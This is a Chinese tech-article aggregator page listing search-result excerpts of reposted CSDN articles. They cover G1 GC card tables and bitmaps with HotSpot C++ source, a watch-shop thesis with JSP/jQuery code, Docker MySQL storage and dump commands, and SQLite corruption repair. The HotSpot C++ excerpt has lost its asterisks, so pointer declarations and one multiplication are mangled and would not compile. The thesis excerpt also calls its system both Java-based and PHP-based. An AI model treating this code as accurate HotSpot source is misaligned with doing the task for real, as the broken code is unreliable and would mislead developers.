前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[网卡设备驱动识别与安装步骤]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...(这里涉及JVM如何识别对象,以及如何区分指针和立即数),但效率还是太低。 ·借助额外的数据结构描述这种引用关系,例如使用类似位图(bitmap)的方法,记录A和B的内存块之间的引用关系,用一个位来描述一个字,假设在32位机器上(一个字为32位),需要32KB(32KB×32=1M)的空间来描述一个分区。那么我们就可以在这个对象ObjA所在分区A里面添加一个额外的指针,这个指针指向另外一个分区B的位图,如果我们可以把对象ObjA和指针关系进行映射,那么当访问ObjA的时候,顺便访问这个额外的指针,从这个指针指向的位图就能找到被ObjA引用的分区B对应的内存块。通常我们只需要判定位图里面对应的位是否有1,有的话则认为发生了引用。 class CardTable: public CHeapObj<mtGC> {friend class VMStructs;public:typedef uint8_t CardValue;// All code generators assume that the size of a card table entry is one byte.// They need to be updated to reflect any change to this.// This code can typically be found by searching for the byte_map_base() method.STATIC_ASSERT(sizeof(CardValue) == 1);protected:// The declaration order of these const fields is important; see the// constructor before changing.const MemRegion _whole_heap; // the region covered by the card tableconst size_t _page_size; // page size used when mapping _byte_mapsize_t _byte_map_size; // in bytesCardValue _byte_map; // the card marking arrayCardValue _byte_map_base;// Some barrier sets create tables whose elements correspond to parts of// the heap; the CardTableBarrierSet is an example. Such barrier sets will// normally reserve space for such tables, and commit parts of the table// "covering" parts of the heap that are committed. At most one covered// region per generation is needed.static constexpr int max_covered_regions = 2;// The covered regions should be in address order.MemRegion _covered[max_covered_regions];// The last card is a guard card; never committed.MemRegion _guard_region;inline size_t compute_byte_map_size(size_t num_bytes);enum CardValues {clean_card = (CardValue)-1,dirty_card = 0,CT_MR_BS_last_reserved = 1};// a word's worth (row) of clean card valuesstatic const intptr_t clean_card_row = (intptr_t)(-1);// CardTable entry sizestatic uint _card_shift;static uint _card_size;static uint _card_size_in_words;size_t last_valid_index() const {return cards_required(_whole_heap.word_size()) - 1;}private:void initialize_covered_region(void region0_start, void region1_start);MemRegion committed_for(const MemRegion mr) const;public:CardTable(MemRegion whole_heap);virtual ~CardTable() = default;void initialize(void region0_start, void region1_start);// Barrier set functions.// Initialization utilities; covered_words is the size of the covered region// in, um, words.inline size_t cards_required(size_t covered_words) const {assert(is_aligned(covered_words, _card_size_in_words), "precondition");return covered_words / _card_size_in_words;}// Dirty the bytes corresponding to "mr" (not all of which must be// covered.)void dirty_MemRegion(MemRegion mr);// Clear (to clean_card) the bytes entirely contained within "mr" (not// all of which must be covered.)void clear_MemRegion(MemRegion mr);// Return true if "p" is at the start of a card.bool is_card_aligned(HeapWord p) {CardValue pcard = byte_for(p);return (addr_for(pcard) == p);}// Mapping from address to card marking array entryCardValue byte_for(const void p) const {assert(_whole_heap.contains(p),"Attempt to access p = " PTR_FORMAT " out of bounds of "" card marking array's _whole_heap = [" PTR_FORMAT "," PTR_FORMAT ")",p2i(p), p2i(_whole_heap.start()), p2i(_whole_heap.end()));CardValue result = &_byte_map_base[uintptr_t(p) >> _card_shift];assert(result >= _byte_map && result < _byte_map + _byte_map_size,"out of bounds accessor for card marking array");return result;}// The card table byte one after the card marking array// entry for argument address. Typically used for higher bounds// for loops iterating through the card table.CardValue byte_after(const void p) const {return byte_for(p) + 1;}void invalidate(MemRegion mr);// Provide read-only access to the card table array.const CardValue byte_for_const(const void p) const {return byte_for(p);}const CardValue byte_after_const(const void p) const {return byte_after(p);}// Mapping from card marking array entry to address of first wordHeapWord addr_for(const CardValue p) const {assert(p >= _byte_map && p < _byte_map + _byte_map_size,"out of bounds access to card marking array. p: " PTR_FORMAT" _byte_map: " PTR_FORMAT " _byte_map + _byte_map_size: " PTR_FORMAT,p2i(p), p2i(_byte_map), p2i(_byte_map + _byte_map_size));// As _byte_map_base may be "negative" (the card table has been allocated before// the heap in memory), do not use pointer_delta() to avoid the assertion failure.size_t delta = p - _byte_map_base;HeapWord result = (HeapWord) (delta << _card_shift);assert(_whole_heap.contains(result),"Returning result = " PTR_FORMAT " out of bounds of "" card marking array's _whole_heap = [" PTR_FORMAT "," PTR_FORMAT ")",p2i(result), p2i(_whole_heap.start()), p2i(_whole_heap.end()));return result;}// Mapping from address to card marking array index.size_t index_for(void p) {assert(_whole_heap.contains(p),"Attempt to access p = " PTR_FORMAT " out of bounds of "" card marking array's _whole_heap = [" PTR_FORMAT "," PTR_FORMAT ")",p2i(p), p2i(_whole_heap.start()), p2i(_whole_heap.end()));return byte_for(p) - _byte_map;}CardValue byte_for_index(const size_t card_index) const {return _byte_map + card_index;}// Resize one of the regions covered by the remembered set.void resize_covered_region(MemRegion new_region);// Card-table-RemSet-specific things.static uintx ct_max_alignment_constraint();static uint card_shift() {return _card_shift;}static uint card_size() {return _card_size;}static uint card_size_in_words() {return _card_size_in_words;}static constexpr CardValue clean_card_val() { return clean_card; }static constexpr CardValue dirty_card_val() { return dirty_card; }static intptr_t clean_card_row_val() { return clean_card_row; }// Initialize card sizestatic void initialize_card_size();// Card marking array base (adjusted for heap low boundary)// This would be the 0th element of _byte_map, if the heap started at 0x0.// But since the heap starts at some higher address, this points to somewhere// before the beginning of the actual _byte_map.CardValue byte_map_base() const { return _byte_map_base; }virtual bool is_in_young(const void p) const = 0;}; class G1CardTable : public CardTable {friend class VMStructs;friend class G1CardTableChangedListener;G1CardTableChangedListener _listener;public:enum G1CardValues {g1_young_gen = CT_MR_BS_last_reserved << 1,// During evacuation we use the card table to consolidate the cards we need to// scan for roots onto the card table from the various sources. Further it is// used to record already completely scanned cards to avoid re-scanning them// when incrementally evacuating the old gen regions of a collection set.// This means that already scanned cards should be preserved.//// The merge at the start of each evacuation round simply sets cards to dirty// that are clean; scanned cards are set to 0x1.//// This means that the LSB determines what to do with the card during evacuation// given the following possible values://// 11111111 - clean, do not scan// 00000001 - already scanned, do not scan// 00000000 - dirty, needs to be scanned.//g1_card_already_scanned = 0x1};static const size_t WordAllClean = SIZE_MAX;static const size_t WordAllDirty = 0;STATIC_ASSERT(BitsPerByte == 8);static const size_t WordAlreadyScanned = (SIZE_MAX / 255) g1_card_already_scanned;G1CardTable(MemRegion whole_heap): CardTable(whole_heap), _listener() {_listener.set_card_table(this);}static CardValue g1_young_card_val() { return g1_young_gen; }static CardValue g1_scanned_card_val() { return g1_card_already_scanned; }void verify_g1_young_region(MemRegion mr) PRODUCT_RETURN;void g1_mark_as_young(const MemRegion& mr);size_t index_for_cardvalue(CardValue const p) const {return pointer_delta(p, _byte_map, sizeof(CardValue));}// Mark the given card as Dirty if it is Clean. Returns whether the card was// Clean before this operation. This result may be inaccurate as it does not// perform the dirtying atomically.inline bool mark_clean_as_dirty(CardValue card);// Change Clean cards in a (large) area on the card table as Dirty, preserving// already scanned cards. Assumes that most cards in that area are Clean.inline void mark_range_dirty(size_t start_card_index, size_t num_cards);// Change the given range of dirty cards to "which". All of these cards must be Dirty.inline void change_dirty_cards_to(CardValue start_card, CardValue end_card, CardValue which);inline uint region_idx_for(CardValue p);static size_t compute_size(size_t mem_region_size_in_words) {size_t number_of_slots = (mem_region_size_in_words / _card_size_in_words);return ReservedSpace::allocation_align_size_up(number_of_slots);}// Returns how many bytes of the heap a single byte of the Card Table corresponds to.static size_t heap_map_factor() { return _card_size; }void initialize(G1RegionToSpaceMapper mapper);bool is_in_young(const void p) const override;}; 以位为粒度的位图能准确描述每一个字的引用关系,但是一个位通常包含的信息太少,只能描述2个状态:引用还是未引用。实际应用中JVM在垃圾回收的时候需要更多的状态,如果增加至一个字节来描述状态,则位图需要256KB的空间,这个数字太大,开销占了25%。所以一个可能的做法位图不再描述一个字,而是一个区域,JVM选择512字节为单位,即用一个字节描述512字节的引用关系。选择一个区域除了空间利用率的问题之外,实际上还有现实的意义。我们知道Java对象实际上不是一个字能描述的(有一个参数可以控制对象最小对齐的大小,默认是8字节,实际上Java在JVM中还有一些附加信息,所以对齐后最小的Java对象是16字节),很多Java对象可能是几十个字节或者几百个字节,所以用一个字节描述一个区域是有意义的。但是我没有找到512的来源,为什么512效果最好?没有相应的数据来支持这个数字,而且这个值不可以配置,不能修改,但是有理由相信512字节的区域是为了节约内存额外开销。按照这个值,1MB的内存只需要2KB的额外空间就能描述引用关系。这又带来另一个问题,就是512字节里面的内存可能被引用多次,所以这是一个粗略的关系描述,那么在使用的时候需要遍历这512字节。 再举一个例子,假设有两个对象B、C都在这512字节的区域内。为了方便处理,记录对象引用关系的时候,都使用对象的起始位置,然后用这个地址和512对齐,因此B和C对象的卡表指针都指向这一个卡表的位置。那么对于引用处理也有可有两种处理方法:·处理的时候会以堆分区为处理单位,遍历整个堆分区,在遍历的时候,每次都会以对象大小为步长,结合卡表,如果该卡表中对应的位置被设置,则说明对象和其他分区的对象发生了引用。具体内容在后文中介绍Refine的时候还会详细介绍。·处理的时候借助于额外的数据结构,找到真正对象的位置,而不需要从头开始遍历。在后文的并发标记处理时就使用了这种方法,用于找到第一个对象的起始位置。在G1除了512字节粒度的卡表之外,还有bitMap,例如使用bitMap可以描述一个分区对另外一个分区的引用情况。在JVM中bitMap使用非常多,例如还可以描述内存的分配情况。 在G1除了512字节粒度的卡表之外,还有bitMap,例如使用bitMap可以描述一个分区对另外一个分区的引用情况。在JVM中bitMap使用非常多,例如还可以描述内存的分配情况。G1在混合收集算法中用到了并发标记。在并发标记的时候使用了bitMap来描述对象的分配情况。例如1MB的分区可以用16KB(16KB×ObjectAlignmentInBytes×8=1MB)来描述,即16KB额外的空间。其中ObjectAlignmentInBytes是8字节,指的是对象对齐,第二个8是指一个字节有8位。即每一个位可以描述64位。例如一个对象长度对齐之后为24字节,理论上它占用3个位来描述这个24字节已被使用了,实际上并不需要,在标记的时候只需要标记这3个位中的第一个位,再结合堆分区对象的大小信息就能准确找出。其最主要的目的是为了效率,标记一个位和标记3个位相比能节约不少时间,如果对象很大,则更划算。这些都是源码的实现细节,大家在阅读源码时需要细细斟酌。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_16500963/article/details/132133125。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-16 20:37:50
246
转载
转载文章
...2.1 Tomcat安装及配置 8 2.2.2 数据库配置 8 3系统分析 11 3.1 可行性分析 11 3.1.1 技术可行性 11 3.1.2 操作可行性 11 3.1.3 经济可行性 11 3.1.4 法律可行性 11 3.2 腕表交易系统功能需求分析 11 3.3 数据库需求分析 12 4系统设计 13 4.1 系统功能模块设计 13 4.2系统流程设计 13 4.2.1 系统开发流程 13 4.2.2 用户登录流程 14 4.2.3 系统操作流程 15 4.2.4 添加信息流程 15 4.2.5 修改信息流程 16 4.2.6 删除信息流程 16 4.3系统用例分析 17 4.3.1 管理员用例图 17 4.3.2 用户用例图 18 4.4 数据库设计 19 4.4.1 tb_Ware(商品信息表) 19 4.4.2 tb_manager(管理员信息表) 19 4.4.3 tb_sub(订单生成表) 19 4.4.4 tb_Link(超级链接表) 20 4.4.5 tb_Affiche(公告信息表) 20 4.3 用SSM连接数据库 20 5系统实现 22 5.1 前台部分 22 5.1.1 前台总体框架 22 5.1.2 商城首页 22 5.1.3 产品详情页 23 5.1.4 评价 23 5.2 后台部分 24 5.2.1 后台主页 24 5.2.2 后台评价管理 25 5.2.3 商品管理 25 5.2.4 商品修改 26 5.2.5 分类管理 26 5.2.6 订单管理 27 5.2.7 腕表购物车管理 27 6系统测试 28 6.1系统测试的意义 28 6.2性能测试 29 6.3测试分析 29 总 结 30 致 谢 31 参考文献 31 3系统分析 3.1 可行性分析 腕表交易系统主要目标是实现网上展示腕表交易系统信息,购买腕表产品。在确定了目标后,我们从以下四方面对能否实现本系统目标进行可行性分析。 3.1.1 技术可行性 腕表交易系统主要采用Java技术,基于B/S结构,MYSQL数据库,主要包括前端应用程序的开发以及后台数据库的建立和维护两个方面。对于应用程序的开发要求具备功能要完备、使用应简单等特点,而对于数据库的建立和维护则要求建立一个数据完整性强、数据安全性好、数据稳定性高的库。腕表交易系统的开发技术具有很高可行性,且开发人员掌握了一定的开发技术,所以系统的开发具有可行性。 3.1.2 操作可行性 腕表交易系统的登录界面简单易于操作,采用常见的界面窗口来登录界面,通过电脑进行访问操作,会员只要平时使用过电脑都能进行访问操作。此系统的开发采用PHP语言开发,基于B/S结构,这些开发环境使系统更加完善。本系统具有易操作、易管理、交互性好的特点,在操作上是非常简单的。因此本系统可以进行开发。 3.1.3 经济可行性 腕表交易系统是基于B/S模式,采用MYSQL数据库储存数据,所要求的硬件和软件环境,市场上都很容易购买,程序开发主要是管理系统的开发和维护。所以程序在开发人力、财力上要求不高,而且此系统不是很复杂,开发周期短,在经济方面具有较高的可行性。 3.1.4 法律可行性 此腕表交易系统是自己设计的管理系统,具有很大的实际意义。开发环境软件和使用的数据库都是开源代码,因此对这个系统进行开发与普通的系统软件设计存在很大不同,没有侵权等问题,在法律上完全具有可行性。 综上所述,腕表交易系统在技术、经济、操作和法律上都具有很高的可行性,开发此程序是很必要的。 3.2 腕表交易系统功能需求分析 此基于SSM的腕表交易系统分前台功能和后台功能: 1)前台部分由用户使用,主要包括用户注册,腕表购物车管理,订单管理,个人资料管理,留言板管理 2)后台部分由管理员使用,主要包括管理员身份验证,商品管理,处理订单,用户信息管理,连接信息管理 3.3 数据库需求分析 数据库的设计通常是以一个已经存在的数据库管理系统为基础的,常用的数据库管理系统有MYSQL,SQL,Oracle等。我采用了Mysql数据库管理系统,建立的数据库名为db_business。 整个系统功能需要以下数据项: 用户:用户id、用户名称、登录密码、用户真实姓名、性别、邮箱地址、联系地址、联系电话、密码问题、答案、注册时间。 留言:主题id、作者姓名、Email、主题名称、留言内容、发布时间。 商品:商品id、名称、价格、图片路径、类型、简要介绍、存储地址、上传人姓名、发布时间、是否推荐。 订单:订单号、用户名、真实姓名、订购日期、Email、地址、邮编、付款方式、联系方式、运送方式、订单核对、其他。 管理员:管理员id、管理员名称、管理员密码。 公告:公告内容、公告时间。 4系统设计 4.1 系统功能模块设计 功能结构图如下: 图9 功能模块设计图 从图中可以看出,网上腕表交易系统可以分为前台和后台两个部分,前台部分由用户使用,主要包括用户注册,生成订单,腕表购物车管理,查看腕表购物车,查看留言,订购产品,订单查询和发布留言7个模块;本文转载自http://www.biyezuopin.vip/onews.asp?id=11975后台部分由管理员使用,主要包括管理员身份验证,商品管理,处理订单,用户信息管理,连接信息管理5个模块。 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><base href="<%=basePath%>"/><title>腕表商城</title><meta http-equiv="pragma" content="no-cache"><meta http-equiv="cache-control" content="no-cache"><meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"><meta http-equiv="description" content="This is my page"><meta name="viewport" content="width=device-width, initial-scale=1"><!-- Favicon --><link rel="shortcut icon" type="image/x-icon" href="img/favicon.png"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/font-awesome.min.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/bootstrap.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/style.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/magnific-popup.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/owl.carousel.css"><script type="text/javascript">function getprofenlei(){ var html = ""; $.ajax({url: "leixing.action?list&page=0&rows=30",type: "POST",async: false, contentType: "application/x-www-form-urlencoded;charset=UTF-8",success: function (data) { $.each(data.rows, function (i, val) { html += ' <li ><a href="home/search.jsp?fenlei='+val.id+'" >'+val.a1+' </a></li>';})} }); $("fenlei").html(html);}function gettop1(){var html = "";$.ajax({url: "leixing.action?list&page=0&rows=10",type: "POST",async: false,success: function (data) {var total='';//<div class="tab-pane active" id="nArrivals">// <div class="nArrivals owl-carousel" id="top1">$.each(data.rows, function (i, valmm) { html+='<div class="nArrivals owl-carousel" id="'+valmm.id+'">';$.ajax({url: "shangpin.action?list&page=0&rows=10",type: "POST",async: false,data: { fenlei:valmm.id },success: function (data) { $.each(data.rows, function (i, val) { html+='<div class="product-grid">'+'<div class="item">'+' <div class="product-thumb">'+' <div class="image product-imageblock"> <a href="home/details.jsp?ids='+val.id+'"> <img data-name="product_image" style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> <img style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> </a> </div>'+' <div class="caption product-detail text-left">'+' <h6 data-name="product_name" class="product-name mt_20"><a href="home/details.jsp?ids='+val.id+'" title="Casual Shirt With Ruffle Hem">'+val.biaoti+'</a></h6>'+' <div class="rating"> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-x"></i></span> </div>'+'<span class="price"><span class="amount"><span class="currencySymbol">$</span>'+val.jiage+'</span>'+'</span>'+'<div class="button-group text-center">'+' <div class="wishlist"><a href="home/details.jsp?ids='+val.id+'"><span>wishlist</span></a></div>'+'<div class="quickview"><a href="home/details.jsp?ids='+val.id+'"><span>Quick View</span></a></div>'+'<div class="compare"><a href="home/details.jsp?ids='+val.id+'"><span>Compare</span></a></div>'+'<div class="add-to-cart"><a href="home/details.jsp?ids='+val.id+'"><span>Add to cart</span></a></div>'+'</div>'+'</div>'+'</div>'+'</div>'+' </div>'; })html+='</div>'; } })}) $("nArrivals").html(html); } }); 本篇文章为转载内容。原文链接:https://blog.csdn.net/newlw/article/details/127608579。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-21 18:24:50
66
转载
转载文章
...Spring通过注解驱动的编程模型(Annotation-based programming model),开发者可以便捷地实现依赖注入、事务管理等功能。 近期,随着JDK17的发布,Java社区对注解的关注度进一步提升。在新版本中,尽管注解的基本使用方式没有变化,但对模块化系统(JPMS)的支持使得注解在模块间的交互和权限控制上有了新的应用场景。同时,社区也在探索更高效的注解处理机制,以减少反射带来的性能开销,例如Project Lombok项目就尝试通过注解处理器自动生成代码,从而避免运行时反射。 此外,Google在今年初宣布了Jetpack Compose的稳定版,这是一种声明式UI构建工具,同样大量运用了注解技术来简化界面组件的创建与维护。这意味着注解在Android领域的应用将进一步深化,帮助开发者提高生产力并优化代码结构。 综上所述,无论是在传统的Java SE领域还是在新兴的Android开发中,注解的重要性都在不断提升,并且随着技术的发展,注解的应用场景将会更加丰富多元,成为现代编程语言不可忽视的关键特性之一。对于开发者来说,持续关注注解相关的最新研究进展和技术实践,将有助于提高自身编码效率和程序设计质量。
2023-03-28 22:30:35
104
转载
转载文章
...通过将 SQL 转储安装到该目录并提供带有贡献数据的自定义镜像来轻松填充您的 mysql 服务。 SQL 文件将默认导入到 MYSQL_DATABASE 变量指定的数据库中。 2.5. 注意事项 2.5.1. 在哪里存储数据 重要提示:有几种方法可以存储在 Docker 容器中运行的应用程序使用的数据。 我们鼓励 mysql 映像的用户熟悉可用的选项,包括: 让 Docker 通过使用自己的内部卷管理将数据库文件写入主机系统上的磁盘来管理数据库数据的存储。 这是默认设置,对用户来说简单且相当透明。 缺点是对于直接在主机系统(即外部容器)上运行的工具和应用程序,可能很难找到这些文件。 在主机系统(容器外部)上创建一个数据目录,并将其挂载到容器内部可见的目录。 这会将数据库文件放置在主机系统上的已知位置,并使主机系统上的工具和应用程序可以轻松访问这些文件。 缺点是用户需要确保目录存在,例如主机系统上的目录权限和其他安全机制设置正确。 Docker 文档是了解不同存储选项和变体的一个很好的起点,并且有多个博客和论坛帖子在该领域讨论和提供建议。 我们将在这里简单地展示上面后一个选项的基本过程: 在主机系统上的合适卷上创建数据目录,例如 /my/own/datadir。 像这样启动你的 mysql 容器: $ docker run --name some-mysql -v /my/own/datadir:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 命令的 -v /my/own/datadir:/var/lib/mysql 部分将底层主机系统中的 /my/own/datadir 目录挂载为容器内的 /var/lib/mysql ,默认情况下 MySQL 将 写入其数据文件。 2.5.2. 在 MySQL 初始化完成之前没有连接 如果容器启动时没有初始化数据库,则会创建一个默认数据库。 虽然这是预期的行为,但这意味着在初始化完成之前它不会接受传入的连接。 在使用同时启动多个容器的自动化工具(例如 docker-compose)时,这可能会导致问题。 如果您尝试连接到 MySQL 的应用程序没有处理 MySQL 停机时间或等待 MySQL 正常启动,那么在服务启动之前放置一个连接重试循环可能是必要的。 有关官方图像中此类实现的示例,请参阅 WordPress 或 Bonita。 2.5.3. 针对现有数据库的使用 如果您使用已经包含数据库的数据目录(特别是 mysql 子目录)启动 mysql 容器实例,则应该从运行命令行中省略 $MYSQL_ROOT_PASSWORD 变量; 在任何情况下都将被忽略,并且不会以任何方式更改预先存在的数据库。 2.5.4. 以任意用户身份运行 如果你知道你的目录的权限已经被适当地设置了(例如对一个现有的数据库运行,如上所述)或者你需要使用特定的 UID/GID 运行 mysqld,那么可以使用 --user 调用这个镜像设置为任何值(root/0 除外)以实现所需的访问/配置: $ mkdir data$ ls -lnd datadrwxr-xr-x 2 1000 1000 4096 Aug 27 15:54 data$ docker run -v "$PWD/data":/var/lib/mysql --user 1000:1000 --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 2.5.5. 创建数据库转储 大多数普通工具都可以工作,尽管在某些情况下它们的使用可能有点复杂,以确保它们可以访问 mysqld 服务器。 确保这一点的一种简单方法是使用 docker exec 并从同一容器运行该工具,类似于以下内容: $ docker exec some-mysql sh -c 'exec mysqldump --all-databases -uroot -p"$MYSQL_ROOT_PASSWORD"' > /some/path/on/your/host/all-databases.sql 2.5.6. 从转储文件恢复数据 用于恢复数据。 您可以使用带有 -i 标志的 docker exec 命令,类似于以下内容: $ docker exec -i some-mysql sh -c 'exec mysql -uroot -p"$MYSQL_ROOT_PASSWORD"' < /some/path/on/your/host/all-databases.sql 备注 docker安装完MySQL,后面就是MySQL容器在跑,基本上就是当MySQL服务去操作,以前MySQL怎么做现在还是一样怎么做,只是个别操作因为docker包了一层,麻烦一点。 有需要的话,我们也可以基于MySQL官方镜像去定制我们自己的镜像,就比如主从镜像之类的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/muluo7fen/article/details/122731852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-29 17:31:06
101
转载
转载文章
...有3点: 空间不足 设备断电或 AppCrash 文件 sync 失败 针对空间不足: 通过中度的使用和观察,我发现 iOS 端的空间占用是相对合理的,并没有对存储空间的明显浪费。并且 App 会在数据库写入时检查可用空间,如果不足时会抛出空间不足的提示。 针对设备断电或App崩溃: 设备断电属于不可抗力。而 App 崩溃目前我们准备上线 APM 监控平台,预期在一到两个版本的迭代中把崩溃率降低到千分之一以下的行业优秀水平。 针对文件 sync 失败: 调整 synchronous = FULL , 保证每个事务的操作都能写入文件。目前CoreData的默认配置项。 调整 fullfsync = 1 , 保证写入文件顺序和提交顺序一致,拒绝设备重排顺序以优化性能。此项会降低性能。对比得出写入性能大概降低至默认值的25%左右。 优化效果: 根据微信的实践,调整配置项后,损坏率可以降低一半,但并不能完全避免损坏,所以我们还是需要补救措施。 补救措施: 通过查阅 SQLite 的相关资料,发现修复损坏数据库的两种思路和四种方案。 思路一:数据导出 .dump修复 从 master 表中读出一个个表的信息,根据根节点地址和创表语句来 select 出表里的数据,能 select 多少是多少,然后插入到一个新 DB 中。 每个SQLite DB都有一个sqlite_master表,里面保存着全部table和index的信息(table本身的信息,不包括里面的数据哦),遍历它就可以得到所有表的名称和 CREATE TABLE ...的SQL语句,输出CREATE TABLE语句,接着使用SELECT FROM ... 通过表名遍历整个表,每读出一行就输出一个INSERT语句,遍历完后就把整个DB dump出来了。 这样的操作,和普通查表是一样的,遇到损坏一样会返回SQLITE_CORRUPT,我们忽略掉损坏错误, 继续遍历下个表,最终可以把所有没损坏的表以及损坏了的表的前半部分读取出来。将 dump 出来的SQL语句逐行执行,最终可以得到一个等效的新DB。 思路二:数据备份 拷贝: 不能再直白的方式。由于SQLite DB本身是文件(主DB + journal 或 WAL), 直接把文件复制就能达到备份的目的。 .dump备份: 上一个恢复方案用到的命令的本来目的。在DB完好的时候执行.dump, 把 DB所有内容输出为 SQL语句,达到备份目的,恢复的时候执行SQL即可。 Backup API: SQLite自身提供的一套备份机制,按 Page 为单位复制到新 DB, 支持热备份。 综合思路:备份master表+数据导出 WCDB框架: 数据库完整时备份master表,数据库损坏时通过使用已备份的master表读取损坏数据库来恢复数据。成功率大概是70%。缺点在于我们目前项目使用的是CoreData框架,迁移成本非常的高。没有办法使用。 补救措施选型原则: 这么多的方案孰优孰劣?作为一个移动APP,我们追求的就是用户体验,根据资料推断只有万分之一不到的用户会发生DB损坏,不能为了极个别牺牲全体用户的体验。不影响用户体验的方法就是好方案。主要考量指标如下: 一:恢复成功率 由于牵涉到用户核心数据,“姑且一试”的方案是不够的,虽说 100% 成功率不太现实,但 90% 甚至 99% 以上的成功率才是我们想要的。 二:备份大小: 原本用户就可能有2GB 大的 DB,如果备份数据本身也有2GB 大小,用户想必不会接受。 三:备份性能: 性能则主要影响体验和备份成功率,作为用户不感知的功能,占用太多系统资源造成卡顿 是不行的,备份耗时越久,被系统杀死等意外事件发生的概率也越高。 数据导出方案考量: 恢复成功率大概是30%。不需要事先备份,故备份大小和备份性能都是最优的。 备份方案考量: 备份方案的理论恢复成功率都为100%,需要考量的即为备份大小和性能。 拷贝:备份大小等于原文件大小。备份性能最好,直接拷贝文件,不需要运算。 Backup API: 备份大小等于原文件大小。备份性能最差,原因是热备份,需要用到锁机制。 .dump:因为重新进行了排序,备份大小小于原文件。备份性能居中,需要遍历数据库生成语句。 可以看出,比较折中的选择是 Dump ,备份大小具有明显优势,备份性能尚可,恢复性能较差但由于需要恢复的场景较少,算是可以接受的短板。 深入钻研 即使优化后的方案,对于大DB备份也是耗时耗电,对于移动APP来说,可能未必有这样的机会做这样重度的操作,或者频繁备份会导致卡顿和浪费使用空间。 备份思路的高成本迫使我们从另外的方案考虑,于是我们再次把注意力放在之前的Dump方案。 Dump 方案本质上是尝试从坏DB里读出信息,这个尝试一般来说会出现两种结果: DB的基本格式仍然健在,但个别数据损坏,读到损坏的地方SQLite返回SQLITE_CORRUPT错误, 但已读到的数据得以恢复。 基本格式丢失(文件头或sqlite_master损坏),获取有哪些表的时候就返回SQLITE_CORRUPT, 根本没法恢复。 第一种可以算是预期行为,毕竟没有损坏的数据能部分恢复。从成功率来看,不少用户遇到的是第二种情况,这种有没挽救的余地呢? 要回答这个问题,先得搞清楚sqlite_master是什么。它是一个每个SQLite DB都有的特殊的表, 无论是查看官方文档Database File Format,还是执行SQL语句 SELECT FROM sqlite_master;,都可得知这个系统表保存以下信息: 表名、类型(table/index)、 创建此表/索引的SQL语句,以及表的RootPage。sqlite_master的表名、表结构都是固定的, 由文件格式定义,RootPage 固定为 page 1。 正常情况下,SQLite 引擎打开DB后首次使用,需要先遍历sqlite_master,并将里面保存的SQL语句再解析一遍, 保存在内存中供后续编译SQL语句时使用。假如sqlite_master损坏了无法解析,“Dump恢复”这种走正常SQLite 流程的方法,自然会卡在第一步了。为了让sqlite_master受损的DB也能打开,需要想办法绕过SQLite引擎的逻辑。 由于SQLite引擎初始化逻辑比较复杂,为了避免副作用,没有采用hack的方式复用其逻辑,而是决定仿造一个只可以 读取数据的最小化系统。 虽然仿造最小化系统可以跳过很多正确性校验,但sqlite_master里保存的信息对恢复来说也是十分重要的, 